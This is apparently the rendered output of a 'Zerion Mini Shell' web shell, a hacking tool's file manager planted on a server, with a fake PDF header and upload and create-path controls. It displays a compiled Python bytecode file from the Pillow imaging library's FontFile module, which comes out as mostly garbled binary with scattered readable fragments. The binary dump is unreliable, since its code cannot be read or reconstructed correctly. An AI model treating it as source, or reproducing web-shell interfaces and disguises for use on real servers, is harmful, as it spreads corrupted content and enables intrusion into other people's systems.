%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/PIL/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/PIL/__pycache__/FontFile.cpython-312.pyc

�

��e��`�ddlmZddlZddlmZddlmZmZdZ						d
d�Z	Gd�d	�Z
y)�)�annotationsN)�BinaryIO�)�Image�_binaryi c�n�|D]0}|dkr|dz
}|jtj|���2y)z0Write network order (big-endian) 16-bit sequenceriN)�writer�o16be)�fp�values�vs   �./usr/lib/python3/dist-packages/PIL/FontFile.py�puti16rs8���#���q�5�
��J�A�
������q�!�"�#�c�H�eZdZUdZdZded<d	d�Z				d
d�Zd	d�Zdd�Z	y)�FontFilez)Base class for raster font file handlers.NzImage.Image | None�bitmapc�(�i|_dgdz|_y)N�)�info�glyph)�selfs r�__init__zFontFile.__init__)s��.0��	��F�S�L�	
�
rc� �|j|S)N)r)r�ixs  r�__getitem__zFontFile.__getitem__5s���z�z�"�~�rc���|jrydx}x}}d}|jD]T}|s�|\}}}}	t||d|dz
�}||d|dz
z}|tkDr|dz
}|d|dz
}t||�}�V|}
||z}|
dk(r|dk(ry||_tjd|
|f�|_dgdz|_dx}}
td�D]�}||}|s�|\}}}}	|d|dz
}||
}}||z}|tkDr
d|
|z}
}||
}}|}|d|z|d|z|d|z|d|zf}|jj|	j|�|�|||f|j|<��y)zCreate metrics and bitmapNrr���1r)rr�max�WIDTH�ysizer�new�metrics�range�paste�crop)r�h�w�maxwidth�linesr�d�dst�src�im�xsizer#�x�y�i�xx�x0�y0�ss                   r�compilezFontFile.compileBs����;�;������A�����Z�Z�	,�E��"'���3��R���3�q�6�C��F�?�+����Q��#�a�&��)���u�9��Q�J�E��A���Q���A��x��+��	,�����	���A�:�%�1�*����
��i�i��e�U�^�4����F�S�L�	
���	��A��s��
	,�A���G�E��"'���3��R���V�c�!�f�_���A�B����F���u�9��a�!�e�q�A����B��A���F�R�K��Q��"��c�!�f�r�k�3�q�6�B�;�F�����!�!�"�'�'�#�,��2�"#�S�!�)����Q��
	,rc��|j�|js
d}t|��|jjtj
j
|�ddzd�ttj
j
|�ddzd�5}|jd�|jd|j�d	�jd
��|jd�td�D];}|j|}|s
t|d
��!t||d|dz|dz��=	ddd�y#1swYyxYw)z	Save fontzNo bitmap createdrz.pbm�PNGz.pil�wbsPILfont
z;;;;;;z;
�asciisDATA
r)
rrrrrrrrrrrrN)r9r�
ValueError�save�os�path�splitext�openr	r#�encoder&r%r)r�filename�msgr�id�ms      rr?z
FontFile.savess��	
�����{�{�%�C��S�/�!���������)�)�(�3�A�6��?��G��"�'�'�"�"�8�,�Q�/�&�8�$�
?�		3�2��H�H�\�"��H�H�v�d�j�j�\��-�4�4�W�=�>��H�H�Y���C�j�
3���L�L��$����2�y�)��2�q��t�a��d�{�Q�q�T�1�2�
3�			3�		3�		3�s
�BD<�<E)�return�None)r�intrIz`tuple[tuple[int, int], tuple[int, int, int, int], tuple[int, int, int, int], Image.Image] | None)rE�strrIrJ)
�__name__�
__module__�__qualname__�__doc__r�__annotations__rrr9r?�rrrr$s7��3�!%�F��%�
����	��/,�b3rr)rrrz7tuple[int, int, int, int, int, int, int, int, int, int]rIrJ)�
__future__rr@�typingr�rrr"rrrRrr�<module>rVsA�� #�	�����#��#�Q�#�	�#�d3�d3r

Zerion Mini Shell 1.0